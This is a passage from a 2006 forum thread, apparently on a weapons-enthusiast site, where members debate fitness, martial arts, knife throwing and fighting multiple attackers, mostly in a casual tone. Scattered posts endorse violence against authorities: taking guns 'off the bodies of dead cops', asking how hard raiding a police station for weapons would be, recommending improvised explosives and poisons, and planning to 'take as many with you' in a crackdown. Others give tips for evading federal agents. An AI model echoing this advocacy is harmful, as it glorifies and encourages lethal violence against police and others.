disadvantage if you dont at least try! Hit the running trails, grab a barbell, do some pushups, and pass on that second piece
of pie because you will at least live a longer and healthier life. If and when the crackdown does come you will make it costly for
the oppressors to win. Your enemies may still win, but a Pyrrhic victory is hardly worth fighting at all.
jellywerker August 28th, 2006, 02:43 AM

Hmm, according to prettymuch any of these measures, I'm set for physical fitness, now to keep it up and continue training the
mind...
I'm scrawny at around 135lbs on my 6ft frame (I haven't filled out yet... it'll come, I hope :P), but I can run a 5:30 mile (and
a 7min. mile for several miles at a time), climb like a monkey, and indeed, free running, something of an American parkour
that involves less jumping between buildings and more going really fast through all sorts of things, is one of my favorite
hobbies. I also climb random structures when I'm bored. Keeping me this fit is my main hobby, rowing competitively on an
intranational level.
Can you tell I wanted to be a ninja when I was younger? :D
I am trained in martial arts, certainly not to a black belt degree, but enough to put you down and keep you there if
neccessary. What I admit I lack though, while I am trained in knives and staffs and swords and such, I have only fired a gun
several times in my life, and all of very small caliber. This is something I intend to work on. Lastly, I try to carry at least a
knife, along with some other useful items (lighter, though I don't smoke, flashlight, pen, etc...) at all times. At my age, a gun
is not really an option, but nor would I find it neccessary where I live, although as I age, I intend to carry and practice with a
small, hard hitting pistol for personal defence and start some training with rifles, somewhat like Megalomania, not to the level
that I am a sharpshooter, but enough that I hit close enough to where I aim and am comfortable firing weapons.

I've allways ate well ie fruts and veggies, barely any sweets and junk food, havn't drank a soda pop in almost 3 years. But I've
allways been a big guy. Instead of having a 6 pack I have a keg.
Now this is decieving to most people because the don't realize how fast I can run, how far I can run, and how good I am at
various other physical activities.
I try to play raquetball on a regular basis, I ride my bike for at least an hour a day if not more, durning the winter I try to go
skiing as much as possible (expensive addiction but when your hurling down a hill on 2 sticks going 65 mph it's hard to give
up), and various other activites.
I have a lot of friends who are rock climbers and I would like to get into that but I just don't know if I have the build to be
successfull at it. If I had 5% body fat I would probabbly still weigh right around 200 lbs.
Docca August 28th, 2006, 09:00 AM

(SWAT, FBI, BATF, DEA, INS, Federal Marshals, National Guard, professional hit men, bounty hunters, etc).
One of the basic principles of risk assessment is to define and rank your threats in order of probability and potential loss and
prepare accordingly. I'll bet most people here have far more to worry about from their fellow garden-variety scumbags than the
kind operating under a badge.
First, if you're foolish enough to (do something to) get any of those agencies on you, you're almost certainly going to lose, it
doesn't matter how fit, fast, obscure or well armed you are. Think Randy Weaver, think Waco.
Second, I'm all about risk assessment - You'd better think long + hard before you take a chance on drawing the attention of
the aforementioned.
Third, if you're fit, fast, obscure and well armed, you have very little to worry about when dealing with garden-variety
scumbags.
Alexires August 28th, 2006, 11:34 PM

Sausagemit - I apoligise, I didn't mean any big person. I had in mind someone that was fat and can't do shit. You know your
own worth, doesn't matter what you look like. For info, rock climbing is fucking awesome, you should try it no matter how big
you are. I've only done it indoors (which was awesome), and a full day of that leaves you absolutely fucked.
Defendu - As ironic that I find some of the members of the forum only use the one scenario that supports their case instead
of considering the whole.
Given the scenario that the cop and I are standing there 5m apart with my knife sheathed and his gun sheathed, I have no
doubt I'm about to start leaking from a hole somewhere soon.
But what happens if you already have your knife out? The chances look a little better. What happens if the cop doesnt know
your there? Even better still. It is better to know it and not need it than to not know it and need it.
Anyway, I don't mind the practice, it can be fun sometimes.
My Ninja TM practice throwing knifes happens to be Glock FM 78s. Balanced for throwing, and not half bad in my opinion. The
sheath is a bitch to get the knife out of in a hurry, but with a little practice it isnt too bad.
Your god damn right I would want to wage war with a bow, if that was my only weapon. Maybe it is difficult to comprehend a
society where guns (legal and illegal) are hard to come by. I would rather have a bow against guns than my fists against guns.
Defendu, what do YOU suggest someone should become proficient with if guns are hard to come by?
Sure shuriken may be useless compared to guns, but I'd rather have them than not have them in a fight. As well as throwing
them, they can be used for hand to hand combat as well.
c.Tech - I understand that an over abundance of muscle is a problem, but so is being scrawney. There is a point where muscle
starts to become a problem, I just want to know where that point is and not surpass it.
Ekilo - Not suprised, but what is the definition of mastery? I would say that it is the point where there is nothing left to learn,
so I would say that 10 years is a short time to master something.
For instance, with a bow and arrow. If you fire 100 arrows a day for a month or two no matter how bad you are, you will be able
to hit someone 15 meters away 9/10 times. Imagine practicing for a year or 6 months? I'd say by that point, you would be
competent. Say you are stranded out in the bush/forest? You couldn't make a gun, but you could fashion a crude bow and
arrow.
Skean Dhu - I like what you have listed there, although getting in a few more pull ups wouldn't be too bad. My girlfriend can
run 109.4 yards (100m) in sub 14 seconds, so I think that we could do that too hmmmm?
Chris The Great - I know that one of the last things that they do at boot camp is a 15km run/walk with a 25kg back pack. Not
sure what else they can do, but it wouldn't be too bad I wouldnt think.
I see a lot of disdain for traditional weaponary, and I can fully understand. Who in their right mind would believe they could
take someone out with a shuriken when the other person is armed with a gun?
But in a land where guns are synonymous with satan and its easy to get knives/crossbows/bows/swords, I'd rather train in what
I can get than to bitch and moan over what I can't yet.

Sausagemit - I apoligise, I didn't mean any big person. I had in mind someone that was fat and can't do shit. You know your
own worth, doesn't matter what you look like. For info, rock climbing is fucking awesome, you should try it no matter how big
you are. I've only done it indoors (which was awesome), and a full day of that leaves you absolutely fucked.
I wasn't defending myself I was just stating that a lot of people mistake me for an out of shape guy which can often be used
to my advantage. :D
BeerWolf August 29th, 2006, 01:11 AM

....what do YOU suggest someone should become proficient with if guns are hard to come by? I would suggest learning to
build them from a forum like this.:)
[rant ON]I will never run 10k with a pack, as I am disabled. I can walk, but not run, or carry any heavy pack. But I can shoot
someone quite well, as a couple of would be muggers have found out. I do practice quite a bit.
Physical prowess is great if you have it, but some of us must use our brains and skills in other ways.[rant OFF]
-BW
Defendu August 29th, 2006, 01:32 AM

What happens if the cop doesnt know your there?
Provided you can't sink a throwing knife to the hilt in his vitals with sufficient accuracy, he'll turn right around to face you and
kill you.
But what happens if you already have your knife out?
You telegraph your intentions to stab him as you draw your knife back for a throw, he moves out of the way, and plants a
bullet in your chest. Provided you cant hit a moving target while throwing a knife either non-telegraphically or with whiplike
speed.
Here is what Colonel Rex Applegate had to say about knife throwing:
Before taking up actual knife-fighting technique, you can discard the idea of knife throwing as a practical method of combat.
There are a few too few to count in a war people who can pick up a knife, throw it at a moving object at an unknown
distance, and hit a vital spot. Knife throwing is an art that belongs in vaudeville and side-shows. In order to throw a knife
properly, the exact distance from the thrower to the target must be known because the knife turns end over end as it travels
through the air. The thrower therefore must know his distance to control the number of turns the knife makes so that it will hit
the target point first. There are some methods of knife throwing at close ranges in which the blade does not turn over in the
air, but when one considers the agility of a military target, heavy clothing, and the fact that if you miss you are without a
weapon, it is easy to see that knife throwing is impractical.
Source:
http://www.jimmy-fatwing.co.uk/
http://homepage.ntlworld.com/jimmy_fatwing/Military/infantry_knife.htm
what do YOU suggest someone should become proficient with if guns are hard to come by?
Here are some things those without firearms should learn to use in my opinion:
1. Improvised explosives, incendiaries, poisons etc. (I've never heard of a modern war being won using crossbows and hand to
hand combat)
2. Knifing. (as opposed to "knife fighting")
3. Melee weapons other than a knife. (these can include clubs, sticks, jackets, pens, weighted chains and anything you can
pick up that weighs more than three pounds)
4. Unarmed combat
5. Crossbows. (because you can't shoot a bow from the low prone position)
My best advice is to not waste your time with "nunchucks" or other ninja/karate bullshit that doesn't do serious damage to your
target.
Sure shuriken may be useless compared to guns, but I'd rather have them than not have them in a fight. As well as throwing
them, they can be used for hand to hand combat as well.
Shuriken were originally used by the Samurai and "Ninja" as a distraction before a melee weapon was employed. Similar in
strategy to the "poke and kick" attack of the O'Neill System (http://web.archive.org/web/20030202120537/
www.gutterfighting.org/oneilltothenuts.html), i.e. an attack to the eyes as a brief distraction, followed by a kick in the nuts.
Shuriken really don't prove anything about using throwing knives in combat to kill someone (and using a knife in combat with
anything less than lethal intent can get you killed), except maybe that pepper spray or a handful of dirt would be more
worthwhile.

Obscure makes no difference to anyone in a street fight. By definition, you are already there. Whether you can face them
down or not, that's the big question. You don't want to get into a fight, there aren't many exit strategies that leave you 100%
well and without a CCTV video of you killing some assholes rather more efficiently than normal. Then you are neither obscure
or fast enough, and more dependant on luck! If it turns out you were well-armed (in the UK at least) they will drop on you like
a ton of bricks, even if it was merely a trained fist in self defence.
In the UK, running/avoiding/evading is the best option, bar none. Second is facing the trouble down, so that there is none.
The rather poor third is winning the fight.

Obscure makes no difference to anyone in a street fight.
***
The rather poor third is winning the fight.
Agreed on all points.
My point about obscure was that Weaver, the Branch Davidians, Ted Kaczynski, Eric Rudolph, and countless others were pretty
obscure (and therefore safe) until they drew the attention of the feds. All of these had thought it out pretty well and had
contingency plans, but they all lost big time, due to the fact that they eventually drew the attention of the wrong people.
Obscurity allows one to avoid problems, as easier and higher profile targets usually present themselves. It is a form of
evasion.
nbk2000 August 29th, 2006, 09:11 AM

As any smart cop will tell you, when the police show up, there's always at least one gun at the scene...theirs! :)
When guns become the sole privilege of a police-state, freedom fighters get their guns off the bodies of dead cops and
soldiers.

Defendu -
Provided you can't sink a throwing knife to the hilt in his vitals with sufficient accuracy, he'll turn right around to face you and
kill you.
That is why I'm training with them. I know that it would deprive you of a weapon, but if the situation calls for it, I'd rather be
able to do it than not.
I don't think you are quite grasping what I'm trying to get at Defendu. I have nothing I HAVE to do during the day (no job,
transport or anything). When the choice is sit around and do shit all, or throw some knives and shoot some arrows, I'll
normally choose the later every time. I'm trying to say that it is better to know it than not, and when it is the only thing I can
do then I'll do it.
Jacks Complete - I agree with you, running is the best option in any place, unless there is another reason you should fight.
NBK - A good point. This leads to the question of how hard do you think it would be to hit a police station for the weapons?
Here (in Aus) the cops wouldnt have much more than pistols and body armour in their armoury I wouldnt think.
Beerwolf - I agree, there are certainly better ways sometimes than athletic skill. If you can walk though, I would recommend
going for long walks. Doing anything is better than nothing.
Defendu August 29th, 2006, 11:21 AM

I'm trying to say that it is better to know it than not,
So you believe that you'll be more likely to survive a violent encounter/war if you're a "Jack of all trades", knowing how to
throw knives, escape from every imaginable wrestling/BJJ hold etc, than if you spent more time perfecting the basics?
To quote a poster on the old gutterfighting.org Close Combat forum:
The Saturday Night Rant!
There are few men more feared than professional boxers. Forget the "fantasy" myths so prevalent in martial arts circles. A
competent professional club fighter would massacre most martial artists. Hell, most serious amatuers would do the same. I'm
not interested in the 1000 year old "secrets" of One Hung Lo. I know what I know after all these years. Regardless of whether
anyone wishes to accept or deny the truth, the truth remains.
Why are boxers so good? What can we learn and HOW can we apply these lessons to our own training in close combat.
Well, first and foremost boxing makes you TOUGH. Hitting and being hit. Not giving in, training that HURTS! Balls! The strip
mall studio may make you "sweat", Tae Bo may take off the "pounds", but it's NOT the same as HARD TOUGH training.
Forget about the "schools" that promise FUN, EASY, NON-INJUROUS SELF-DEFENSE! There ain't NO SUCH ANIMAL!
Secondly, boxers train in FEW skills, but to a HIGH degree of REALISTIC PROFICIENCY!
Lastly, boxing is pragmatic! NO ROOM FOR BULLSHIT!
Okay, so how do we apply this to OUR THING?
1. TRAIN HARD. Make contact, train with a real rough and tumble attitude! Eat the PAIN, it WON'T KILL YOU! Condition YOUR
weapons! GET TOUGH(where did I hear that before?).
You had better grow some HARD BARK on your ass, if you hope to survive and prevail in a REAL STRUGGLE for LIFE and
DEATH! Now I am NOT talking about BRUTALIZING anyone in training. THAT ain't what I'm talking about! I am saying that
hard, realistic PROGRESSIVE training, will build TOUGHNESS, like proper weight training builds strength and power.
2. FEW SKILLS-HIGH PROFICIENCY. Hick's Law! K.I.S.S., same idea! Tiger Claw, Chin Jab, Edge of Hand, Elbows, Knees, Low
Kicks and Stomps, Head Butts and a few assorted other nasty "chips", and YOU GOT ALL YOU NEED! I think that those who say
they have "IMPROVED" - "REFINED" - "COMBINED" and any other nonsense, have simply MISSED THE POINT! Or feel compelled
to add "Bullshit for Bucks"(NO that wasn't an old game show). The KEY again is HARD WORK! A boxer works his left jab into
the GROUND, always striving for more POWER, SPEED, and ACCURACY. Right? So do the same with the Tigers Claw, Chin Jab,
etc. Make these few skills THE absolute BEST they CAN BE!!!!!! Example: I don't need 2000 "waza", if I train my Tigers Claw to
be so QUICK, so POWERFUL, so ACCURATE that there ain't a damn thing you can do to stop me from ripping your face off and
knocking your block completely OFF YOUR FRIGGIN' SHOULDERS and IF THINK YOU CAN STOP ME I'LL STOMP YOUR DAMN
WORTHLESS ASS INTO A BLOODY PUDDLE! Now that's the ATTITUDE! YOU DON'T IMPROVE THE METHOD - YOU IMPROVE THE
MAN!!!!!!!
3. REALISTIC PRAGMATISM. If it ain't broke don't fix it. If it sounds to good to be true, it is! Anything that can screw up will!
We're all in this ALONE. No one's getting out of here alive. When your number is UP well it's UP! Getting THIS? People often
say stupid things like: "What would you do if you had to fight Mike Tyson?". What are you talking about, stupid? If someone
was going to harm your family, wife, loved ones or friends..........Would you look at the threat and say - Oh BOY he looks
reallly tough, really dangerous, I might get HURT! Or would you tear into the THREAT with absolute bloody minded ruthless
brutality fueled by abject hate and rage coupled with killing intent. Only YOU can answer that! But I'd much rather DIE on my
feet, than LIVE on my knees!
All top combative athletes have a LIMITED number of methods that they have honed to perfection. They have a never say DIE
attitude, they EAT PAIN, and they don't believe in the "Tooth Fairy". These are GOOD solid lessons for close combat! Get REAL,
TRAIN REAL, STAY ALIVE!
The Saturday Night Rant! Have a GREAT WEEKEND ALL!
Carl
Source:
http://web.archive.org/web/20021122094514/pub104.ezboard.com/fclosecombat82274frm9.showMessage?topicID=176.topi c

Beerwolf - I agree, there are certainly better ways sometimes than athletic skill. If you can walk though, I would recommend
going for long walks. Doing anything is better than nothing.
Oh I do walk every morning, and do such workouts as I can. But since I can't run away even if I want to, my strategy is mainly
based on cunning and deception.
In a street fight, it is fast talking, use of vehicles, "dirty" fighting, and (currently legal) concealed firearms.
In some sort of Government "crackdown", well, if the SS wants you, they got you. I think the idea of running off to the hills is a
somewhat silly idea even for an ablebodied person, here in the southwest USA. It's major desert. They'll find you eventually.
The plan is to take as many with you as you can.
In some sort of TEOTWAWKI scene, I'd be logistics and ordnance support, not a front line fighter.
My $.02,YMMV, Comments welcome.

-BW

As some may have guessed, I am an old SOB geezer who has been there and done that. I was also a participant in the
Southeast Asia 'fun and games' back in the 60's and 70's, as well as having 'fun' on the Korean DMZ. I have survived enough
tight spots to eliminate a litter of cats, almost all of them because my life was in someone else's hands.
You do NOT want to know what it is like to feel a man thrash out his life on your knife. If at all possible, you want to avoid
killing anyone by whatever means for whatever reason. A part of your humanity dies along with that person. You will no longer
be the person you are now.
I am disabled, and need a walker, and soon may need a wheelchair. Due to my knowledge and experience, the authorities
still consider me to be a very dangerous individual. Knowledge, with the time to prepare, will more than make up for any lack
of physical ability.
The right mental attitude is your greatest asset for survival. Believing you can survive has won half the battle, and vastly
improved your chances that you will survive.
When the authorities (police, FBI, Dept. of Homeland Security) knock on the door, they will do so in a manner that allows them
to control the situation. Even if they just want to talk, it will be two to one. To take you in, it will be a raid at 3 or 4 am (if they
are pros at this) with a 6:1 team. The reason is simple, they do not want to give you a chance to resist and possibly injure
them.
When the time comes, have at least one place to hide that is completely disconnected from you, your family and friends. Most
importantly, it must be disconnected from your personality. Be prepared to move at an instant's notice. Even if you have just a
bad feeling, move out of the way. Paranoia, when they are coming for you, is your friend.
And remember, time is on there side. You will eventually make a mistake, and they will have you. Learn what you can now
about intelligence and interogation techniques. Fear of the unknown is a common interogation tool. As long as you do not give
in, you are winning.
Once in their hands, RESIST. If you cannot be intimidated, then those who would intimidate you become the ones who are
intimidated. My brother, a police detective, says the majority of perps convict themselves by simply opening their mouths,
trying to appear innocent. Your silence may be all that is needed for even a public defender to get you off, or a reduced
sentence.
What do I do? I make myself very visable. When they do come, everyone will ask questions, particularly "What do you mean,
this cripple is a dangerous terrorist?" This technique has worked, at least for a while, for other political disidents. I have few
other options.
One last word. With Carnivore, just a casual visit to this site leaves footprints straight back to you. If the authorities desire,
they know who each of us is very quickly. Living in a foreign land helps little. Echelon is a system for sharing intelligence
between the world's authorities. The U.S. has even shared intelligence with Syria on a quid pro quo basis.
I appologize for being a wet blanket at the party. When the Dark Times come, the only way to survive with any degree of
freedom is to not be on the radar screen. Failing this, avoid being found. Once they know where you are, your freedom will last
only as long as it is convenient to them.

Defendu - I'm getting tired of this. If you want to keep arguing about it, lets do it off the forum, you can get my email
address from the little link there.
I agree with that attitude though. Maybe a tad too brazen for me, there are times to bow your head and kneel if it helps to win
the fight, but certainly only hard training will improve your skills.
BeerWolf - Nothing wrong with logistics and support, your the guy we all would be counting on. In certain fights, skills only take
you so far. After that, you need someone to watch your ass for you.
Diabolique - I personally like the theory that as long as you believe in your own victory, you will prevail, no matter what the
odds. There is always a way to win, often people can't see it because they aren't willing to even consider doing the necessary,
let alone actually do it. If you are willing to do anything to assure your own survival, I believe that you will survive at all odds.
When the Dark Times come, standing alone will be hardest of all. We are a member of this website for a reason and this
brings us together, as much as sometimes we don't like to admit it. If the Dark Times do come, I just hope we are all ready.
ANYWAY! Back to the basic fitness. So far we have Skean Dhu saying 100 push ups, 200 sit ups, a fairly fast dash, 10 pull ups
and 100 squats. As well as this, basic knowledge in a hand to hand combat and proficientcy in various weapons. What do you
all have to say to that? Anything else that should be added, changed or removed?
A question for you all out there: When it isn't possible to train with real guns, would paintballing be better than nothing? That
may be the only option available to us in Aus who aren't old enough, or aren't willing enough to go through all the red tape
and get a firearms license.

.. question for you all out there: When it isn't possible to train with real guns, would paintballing be better than nothing?
Yes, indeed. My ol' lady and I train force on force in house defense with 6mm airsoft guns resembling our carry guns. You can
use hard shot in places where paint isn't allowed, and the only safety gear needed is glasses (which we both wear anyway:) )
In reference to the rest of your post, what I'm saying is that I feel you'all putting to much emphasis on doing X# of pushups,
and y# of situps, etc.
Train your body and mind to the best of your abilities, and remember that those abilities change with time. Usually downhill for
the physical, and (hopefully) upward for knowledge .
Don't say that you have to do ANY number of an exercise as an arbitrary goal. Just do as many as you can without hurting
yourself, and try to make it as better as you can.
-My $.02 Your Milage WILL vary!
-BW

Paintball would be an excellant way to learn team tactics. The Army uses a laser tag system out at Ft. Irwin in California.
The physical fitness training should fit the expected mission. While in the Army, I could just pass the physical fitness (PT) test,
and always had a hard time with the 2-mile run. But hiking across the desert and up over a 600 meter mountain with a 55 kilo
backpack, few could keep up with only a 10 kilo backpack. I also could lift and hold over my head a 200 kilo antenna trailer
while the team secured the support legs.
Personnally, I would recommend individual resistance, or a very small group consisting of family and long term friends. Less
likely to have a turn-coat. This is why our intel people have so much trouble infiltrating the terror groups. A single individual
only has to worry about himself. An interesting SciFi novel, "Wasp", explains the concept of individual resistance.
Learn surveilance and counter-surveilance techniques. However, most of these are obsolete with the widespread use of video
surveilance cameras. The publicly available cameras are very small, so you can imagine what the authorities have.
You may have misunderstood me, I do not advocate surrender, but rather avoidance. If you can avoid confrontation, that is a
face to face with the authorities, you will also avoid chancing being detained or injured. If you are not known to be a potential
threat, you drop off their radar, and will be free do do what you need to do.
Combining psychological techniques with your operations will make them more effective. Thankfully, terrorists do not
understand the principles of using terror as a weapon. They brute-force terror. In the late 70's, I terrorized a battalion of
Marines on Viaques with a psy-op broadcast on landcrabs devouring shipwreaked sailors. I let their imaginations amplify the
clicking of the landcrabs into a dire threat. Another program I wrote I was forbidden to use, they were afraid of a wide-spread
panic. Neither had any real threat to anyone's well being, they played on primal fears.
I'll look for my manuals on PT for you, and digitize them.
As for the original question, find a technical field you enjoy that ISN'T combat arms. Make sure that the contract you sign
states you are going into that field, or you will find yourself cannonfodder. You will be given training in combat and weapons,
but you will also have training in a field that you can use as a profession once you get out. And read all the manuals you can
lay hands on. That is how I learned so much about so much.

"When the time comes, have at least one place to hide that is completely disconnected from you, your family and friends.
Most importantly, it must be disconnected from your personality. Be prepared to move at an instant's notice. Even if you have
just a bad feeling, move out of the way. Paranoia, when they are coming for you, is your friend."
Everything you say is true, but when you're on the run, sleep-deprived, and amped on adrenaline, paranoia can be a BITCH.
When you're a fugitive, everyone starts to look like a fed. Then you start getting sloppy, acting weird, and it all goes downhill
from there.
There's nothing more important than doing everything you can to keep a sense of perspective. Don't be too quick to assume
you know what's happening and why: it's all too easy to misjudge situations under extreme stress.
More tips to build on what Diabolique said: have a proactive plan, not just a reactive one. Stay calm and try to introduce as
much "normality" as you can into your new environment. Exercise, eat as well as you can and take a strong multivitamin to
keep your strength up. Stay as well-groomed, calm, and as friendly as you can be.
Believe it or not, all these things will improve your confidence and morale. The most important thing is not to let them bully
you into thinking of yourself as prey. Know you have it in you to survive the situation...and if not, at least you'll know you have
the dignity to meet your fate with panache.
Diabolique August 31st, 2006, 01:50 AM

You're right, anonymous411. That is why the military makes training so intense, especially for elite forces, they learn to deal
with that stress.
I was a misfit when I was young as I am now. The local bullies decided I needed a lesson, and chased me through the woods
where I lived. I learned a lot about escape and evasion, and earned their respect for evading them so effectively.
The one thing I learned is that you get lonely, and even an opponent's company is welcome, which is why I gave up after
about 10 hours. That is also to be kept in mind, the need for company.
It wasn't until I was older that I learned to enjoy solitude, and not to depend on others for strength. That was after a very dark
night long ago in a land far away. Dark nights like that, you and others learn where your true strength lays, and what your
values are. Nietzsche was right, but only about mental strength.
robh1540 September 1st, 2006, 05:47 PM

In a street fight or mugging etc. is it not more about being prepared and your willingness to injur people that would count
rather than your overall fitness? For example, in most muggings or fights, the people aren't actually wanting to seriously injur,
they more want to intimidate them into getting what they want, or in the case of a fight look macho.
Around where I live people ('gangstaz') only tend to fight when the odds are stacked in their favour (4 or more on 1) therefore
no matter how physically fit someone was it wouldn't have much of a bearing on the outcome. Far more important would be
how crazy they were.
lider_revolucionario September 1st, 2006, 08:20 PM

Here in my town the "gangstaz" never fight while they are without a great advantage too, but something that happens with this
kind of people is to be scared if you demonstrate some skills like martial arts. At least with these scumbags if you show
something probably they will get out.
I think that even you are not a black-belt, knowing some techniques like aikido may help with them. Specially these guys stay
scared when see their friend being thrown :)
But I also believe that avoid combat is better than running the risk. it is better to they think you are coward than being a "bird
in a cage" or a new kind of carpaccio:D
Chris The Great September 2nd, 2006, 12:50 AM

No matter how cray you are, if you aren't strong enough to hit hard, it won't matter. Being able to fight is never just one
aspect, but a combination of everything. Lacking in an important aspect such as strength will hurt you. Just because physical
strength is not the only bearing on a fight does not mean it should be ignored.
lider_revolucionario September 2nd, 2006, 03:38 PM

No matter how cray you are, if you aren't strong enough to hit hard, it won't matter. Being able to fight is never just one
aspect, but a combination of everything. Lacking in an important aspect such as strength will hurt you. Just because physical
strength is not the only bearing on a fight does not mean it should be ignored.
USE
Being strong also helps in intimidating the oponent, common guys would be afraid in fighting to a muscle mountain. I also
agree that someone that knows every move that only a Great Master knows, but don't have strenght, will be useless knowing
all that.
PARAGRAPH
The point is(As an chinese said someday... :) ) : the balance is more important.
BREAKS
if you are a mountain of muscles (like The Terminator in old days... :) ) you will punch the guys very hard, they will be scared
if they see you in fury because of your size, but if fight is not an option, like being followed by a huge group of skilled killers,
you will need more agility and inteligence than muscles to try evade. And more muscles (after a point) are bad for your agility.
TO
The best is to be strong and agile, train technics of fighting (including with weapons) and shooting. Like that you can run away,
stay for a fight, if needed, improvise a weapon and use it with some skill against an (normally) unskilled oponent, and get a
firearm and shot adequatedly.
SEPERATE
Of course what I say demands time and some money. It is much more easy to get muscles than fighting skills, but fight is
more flexible in its usages and can be used to direct combat and to avoiding combat.
DIFFERENT
For all this I say that if you can have some training in a martial art, it is better to have it.
TRAINS
It is good also for your health and to prevent diseases :D
OF
Just to complete, it also helps you in other things like concentration and endurance. If you can run 10 miles, be focused
enought to lockpick fastly and hide yourself safely during a storm, that is better than run 10 miles and break a door and hide
while the winds of the storm are seeking you and find a door down. The wind will come in and the rain will fall in your head
outside the hideout.
THOUGHT!
robh1540 September 2nd, 2006, 08:27 PM

I see what you say about strength, but think how weak you would have to be to not hurt someone with a punch to the neck. I
think that even the weakest 18+ year old would be able to take someone out with a punch to the adams apple.
BeerWolf September 2nd, 2006, 11:03 PM

It also takes very little to stick you thumbs in his eyes. (amongst other "dirty" fighting tricks)
I don't consider it "dirty", as there's no 2nd place trophy in this game.

-BW
cutefix September 2nd, 2006, 11:19 PM

Fighting an aggressor in the streets requires more agility than physical strenght, calmness, and awareness of your capabilities.
Yes it requires that you are prepared for such events...
BTW
These aggressors are usually mentally weak personalities and they want to hide that by bullying what they construe as weaker
people....
Alexires September 3rd, 2006, 09:52 AM

robh1540 and Beerwolf - I get what your saying, but if they are wearing glasses and have their head tilted down to prevent
that? It is possible that you may be able to do that, but at the very least pushups every second night will mean you can
actually hit someone and hurt them.
But to support Beerwolf and robh1540, I find that if someone is going to attack you to make a point, they normally start with
the chest pushing thing (where they push their chest at you). A quick application of genital force will take them to the ground
and out. Problem with that is that for this to happen, they will almost always have mates. You need to be prepared to take
them ALL down.
Actually, saying that, I'm supporting the opinion that you need to be able to run, and hit/kick hard. The funny thing is that in
2-3 vs 1 training, it is the 2 or 3 that get hurt, not the 1.
You will need training (either in a martial art, or by sparring a few people at once) to know that when you are in that situation,
the person you hit wont get up for more when you least expect it.
I'm absolutely adamant on that. If you decide that you are the kind of person that might get into a fight with someone(s),
you NEED to train in multiple attackers. The ability to identify helpful cover (walls, benches, etc) is learned, not natural in this
situation.
It's hard to explain, you need to do it to understand.
So hence, I still maintain that a minimal amount of training is required for those that can. You see fights in the street where
people get punched in the head multiple times and they are still standing. This is just sad. 2 decent punches as a max should
take an average person down. Train to do this.
Cutefix - agility is definately a must, but you don't get it without some training (for those that think they can).
Think about it this way. If you are confronted by dickhead and his 5 mates. You take dickhead down as a matter of course with
a swift knee into the testicles. Suddenly there are 5 mates that, because of their clingy personality (they hero worship
dickhead as if the sun rose out of his ass) won't back down.
They will probably come at you. You need to isolate one at a time, so in essence, you are looking at a fight that will go for 5
times longer than a normal 1vs1 + the time it takes for a little manouvering.
Going 5 minutes in a full combat situation is damn hard. Without training, you will be stuffed, and the problem then becomes
that dickhead's 5 mates are all fresh. When you are in that situation, you need to be absolutely brutal and make sure that if
you take one dickhead down, he wont get up until after the fight, if at all.
You need to be able to stay on your feet. If you go to the ground before the last attacker, you WILL lose.
robh1540 September 3rd, 2006, 07:55 PM

Sorry, I my have not been very clear, I wasnt saying that no training was neccessary, and I do myself train regularly and begin
at army college on wednesday.
The point I was trying to make is that no matter how big you are, if you arent in the mindframe to fight, and go into the fight
punching people in the chest or face, then someone smaller and weaker than yourself who was in the mindframe to hurt you
and attacked your weakest points, neck, nose, eyes, genitals then it is highly likely that you would not come off on top.
Having said this I doubt in this forum not being in the right frame of mind is really an issue as most people here are fairly
consciencious about their self preservation.
As regards to fighting multiple attackers I seem to remember reading in a book on karate and self defense that even the best
fighter cannot hope to beat two determined opponents.
cutefix September 3rd, 2006, 09:40 PM

Lets put it this way the practical purpose of good physical training is that you can maintain a sound health and able to use that
preparation to enter martial arts training. If you really want to be and effective streetfighter you really have to indulge in
continuous sparring with your fellow students, enter martial arts competitions etc. You don't stick with pride on your technique
that your teacher is so well known about but what is effective for you.
Keep in mind just like physical fitness , practical martial arts training is about commonsense.
Yes there are devotees that study it for that reason but they are not common .
Once you have enough fighting skill you can defend yourself instinctively.
you can't even plan how to defend yourself.
You are there calm and collected with no fear in your mind. You don't harbor thoughts that you will win or lose, but your
prepared like a cat.
That kind of mental state is the best frame of mind for combat.
You don't say that i will het this guy in the groin with my knee, gouge his eyes with my fingers, cut his windpipe with a karate
chop etc...
When you are in the heat of un armed combat, you have no time to think, everything just comes out by instinct!:cool:
You don't know how the guys are knocked out,,, but you don't care as long as they are down for good .:cool:
But
If before the streetfight you are already afraid ,or worried that you might get hurt or get killed then don't be cocky use your
feet and ran as fast as you can!:p
There is no point in fighting with anybody if you lack the will and the confidence to do so regardless of your training.
Many people may be proud of their martial arts training but often they have difficulty defending themselves in critical
situations....
Then their sound physical and martial arts training was useless.:rolleyes:
Agility is often taken less seriously by many fighters, thinking that its just that technique that wins , but if sumo wrestlers and
other bulky fighters win contest not only due to their enormous body size but due to being agile then its imperative that any
body looking forward to martial arts combat , should realize its importance in winning fights and preventing yourselfs from
getting mauled.if you happen to encounter stronger oppositions.
You can use that flexibility of movement to get away from trouble.
Alexires September 4th, 2006, 12:36 AM

Cutefix - You've hit the nail on the head. When you are in that situation there is no thought, only action. You don't plan your
movements, it just happens.
But there is an instinctive knowledge gleaned from sparring. You know that what you just did to that person means they won't
get up again, and if they do, there is something weird happening.
robh1540 - Sorry, I missunderstood. You are correct, you need to be in the right mind set.
I don't know about that multiple attacker thing you said.
I haven't ever been in a real multiple attacker combat situation, but in some pretty intense sparring, I know that 2 attackers is
ok, 3 isn't good, and above that your in trouble.
You see, any smart pair or trio of attacker will spread themselves out so that they are an equal distance apart in a circle, and
attack you at once. If they do this, you are in trouble.
The trick to stopping it is to take down 1 or 2 of them as fast as you can so you can pay attention to the other one.
Personally (I have done 3 years of Wing Chun Kung Fu and 6 months of Ninjutsu) I feel that I could take down 3 attacker who
have no skill in martial arts. Their downfall is that they watch each other, when they should be watching me (their target).
If they have training, a general rule is that you can take as many as long as their sum training is below yours. Hence, I could
take 3 attackers with only 6 months training, as that adds up to 1.5 years. Only in one dicipline though.
Jome skanish September 9th, 2006, 05:15 PM

One suggestion of basic fitness could be able to bench-press 75kg (165lbs) and run three kilometers in less than 15 minutes,
the latter is demanded by the swedish military for certain groups of conscripts, the first is the "theoretical average" of an
average-height, average weight man.
Being at least on parity with most other guys is recommended when it comes to fighting.
From there, both aerobic capacity and muscle mass can be increased for everyone who is not crippled or has something
seriously wrong with his genes.
A man of average height could build his body at least forty, perhaps even fifty percent stronger than average without the extra
muscle making it harder to move fast. Aerobic performance is harder to judge the same way (since the difference is not that
big when it comes to longer runs), but my own goal is to be able to run 3km in under 13 minutes, simultaneously having
increased general strength to 40% more than average for my height, which is 1.75. Being able to run very fast for a few
hundred meters is also useful, but I have no reference to what one could do within a reasonable ammount of training.
